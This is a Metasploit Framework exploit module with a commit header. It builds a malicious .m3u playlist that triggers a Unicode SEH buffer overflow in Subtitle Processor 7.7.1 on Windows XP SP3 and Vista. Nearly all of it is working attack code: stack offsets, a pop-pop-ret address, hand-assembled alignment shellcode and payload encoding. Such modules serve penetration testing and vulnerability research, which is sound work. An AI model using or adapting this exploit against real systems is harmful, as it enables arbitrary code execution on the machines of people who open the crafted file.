Added Subtitle Processor 7.7.1 bof
git-svn-id: file:///home/svn/framework3/trunk@12461 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super(update_info(info,
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'Name' => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in Subtitle Processor 7. By
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supplying a long string of data as a .m3u file, Subtitle Processor first converts
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this input in Unicode, which expands the string size, and then attempts to copy it
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inline on the stack. This results a buffer overflow with SEH overwritten, allowing
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arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'Author' =>
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[
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'Brandon Murphy', #Initial discovery, poc
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'sinn3r', #Metasploit
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],
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'References' =>
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[
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[ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/17217/' ],
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'BufferRegister' => 'ECX',
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "seh",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP3',
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{
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'Nop' => 0x43, #ADD BYTE PTR DS:[EBX],AL
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'Offset' => 4078, #Offset to SEH chain
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'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
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'Max' => 5000, #Max buffer size
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},
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],
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[
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'Windows Vista SP0',
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{
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'Nop' => 0x40, #ADD BYTE PTR DS:[EAX],AL
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'Offset' => 4078, #Offset to SEH chain
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'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
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'Max' => 5000, #Max buffer size
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 26 2011" ))
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register_options(
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[
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OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u'])
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], self.class)
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end
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def get_unicode_payload(p)
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encoder = framework.encoders.create("x86/unicode_mixed")
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encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} )
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unicode_payload = encoder.encode(p, nil, nil, platform)
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return unicode_payload
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end
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def exploit
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#NOP between each instruction
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nop = target['Nop']
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sploit = ''
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#Create the exploit
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if target.name =~ /XP/
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#PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX
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alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1"
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tmp = alignment << payload.encoded
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p = get_unicode_payload(tmp)
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#4050 bytes for shellcode
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sploit << rand_text_alpha(2) #Padding
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sploit << p
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sploit << rand_text_alpha(target['Offset']-sploit.length)
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sploit << "\x61"
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sploit << nop
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sploit << [target.ret].pack('V*')
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sploit << nop
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sploit << "\x61" #POPAD
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sploit << nop
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sploit << "\x61" #POPAD
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sploit << nop
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sploit << "\x61" #POPAD
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sploit << nop
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sploit << "\x51" #PUSH ECX (for x86/unicode_mixed)
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sploit << nop
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sploit << "\x5e" #POP ESI (for AlphanumMixed BufferRegister=ECX)
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sploit << nop
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sploit << "\x51" #PUSH ECX
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sploit << nop
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sploit << "\xc3" #RETN
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sploit << rand_text_alpha(target['Max']-sploit.length)
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elsif target.name =~ /Vista/
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# PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX
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alignment = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1"
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tmp = alignment << payload.encoded
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p = get_unicode_payload(tmp)
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#4008 bytes of space for shellcode
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sploit << rand_text_alpha(62)
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sploit << p
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sploit << rand_text_alpha(target['Offset']-sploit.length)
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sploit << "\x61"
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sploit << nop
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sploit << [target.ret].pack('V*')
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sploit << nop
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sploit << "\x61"
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sploit << nop
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sploit << "\x61"
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sploit << nop
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sploit << "\x5e"
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sploit << nop
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sploit << "\x5e"
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sploit << nop
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sploit << "\x5e"
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sploit << nop
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sploit << "\x5e"
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sploit << nop
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sploit << "\x56"
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sploit << nop
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sploit << "\x59"
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sploit << nop
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sploit << "\x56"
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sploit << nop
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sploit << "\xc3"
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sploit << nop
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sploit << rand_text_alpha(target['Max']-sploit.length)
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end
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#Generate file
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print_status("Creating #{datastore['FILENAME']}...")
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file_create(sploit)
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end
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end
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